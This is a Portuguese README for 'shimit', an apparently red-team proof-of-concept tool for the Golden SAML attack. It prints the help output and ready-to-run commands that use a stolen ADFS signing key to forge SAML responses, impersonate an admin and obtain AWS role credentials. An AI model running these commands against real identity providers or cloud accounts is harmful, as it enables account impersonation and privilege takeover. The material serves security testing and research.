shimit

shimit é uma ferramenta em Python que implementa o ataque Golden SAML. Mais informações sobre isso podem ser encontradas no seguinte artigo em nosso blog.

python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
                 [--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
                 -r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
                 
              ██╗   ███████╗██╗  ██╗██╗███╗   ███╗██╗████████╗     ██╗ ██╗  
             ██╔╝   ██╔════╝██║  ██║██║████╗ ████║██║╚══██╔══╝    ██╔╝ ╚██╗ 
            ██╔╝    ███████╗███████║██║██╔████╔██║██║   ██║      ██╔╝   ╚██╗
            ╚██╗    ╚════██║██╔══██║██║██║╚██╔╝██║██║   ██║     ██╔╝    ██╔╝
             ╚██╗   ███████║██║  ██║██║██║ ╚═╝ ██║██║   ██║    ██╔╝    ██╔╝ 
              ╚═╝   ╚══════╝╚═╝  ╚═╝╚═╝╚═╝     ╚═╝╚═╝   ╚═╝    ╚═╝     ╚═╝  

Visão Geral

Em um ataque Golden SAML, atacantes podem obter acesso a uma aplicação (qualquer aplicação que suporte autenticação SAML) com quaisquer privilégios que desejarem e ser qualquer usuário na aplicação alvo.

shimit permite que o usuário crie um objeto SAMLResponse assinado e o use para abrir uma sessão no Provedor de Serviço (Service Provider). Atualmente, shimit suporta o Console AWS como Provedor de Serviço, mais estão em andamento...

AWS

Após gerar e assinar a assertion do SAMLResponse, o shimit chamará a API AssumeRoleWithSAML() na AWS. Em seguida, o token e a chave de sessão serão aplicados a uma nova sessão, onde o usuário pode usar a CLI AWS para executar ações utilizando as permissões obtidas através do golden SAML.

Requisitos:

Para instalar os módulos necessários, execute o seguinte comando:

python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml

AWS CLI

Precisa estar instalada para usar as credenciais obtidas. Pode ser baixada para Windows ou Linux nesses links.

Uso:

Aplicar sessão para a CLI AWS

python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012

idp - URL do Provedor de Identidade, ex.: http://server.domain.com/adfs/services/trust

pk - Caminho completo do arquivo de chave privada (formato pem)

c - Caminho completo do arquivo de certificado (formato pem)

u - Nome de usuário e domínio, ex.: dominio\nomedousuario (use \ ou aspas em sistemas *nix)

n - Nome da sessão na AWS

r - Funções desejadas na AWS. Suporta múltiplas funções; a primeira especificada será assumida.

id - ID da conta AWS, ex.: 123456789012

Salvar SAMLResponse em arquivo

python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

o - Saída do SAMLResponse codificado em um caminho de arquivo especificado

Carregar SAMLResponse de arquivo

python .\shimit.py -l saml_response.xml

l - Carregar SAMLResponse de um caminho de arquivo especificado

Contribuições

No momento, shimit suporta AWS como provedor de serviço, como uma prova de conceito (POC). Encorajamos fortemente você a contribuir criando novos módulos para outros provedores de serviço.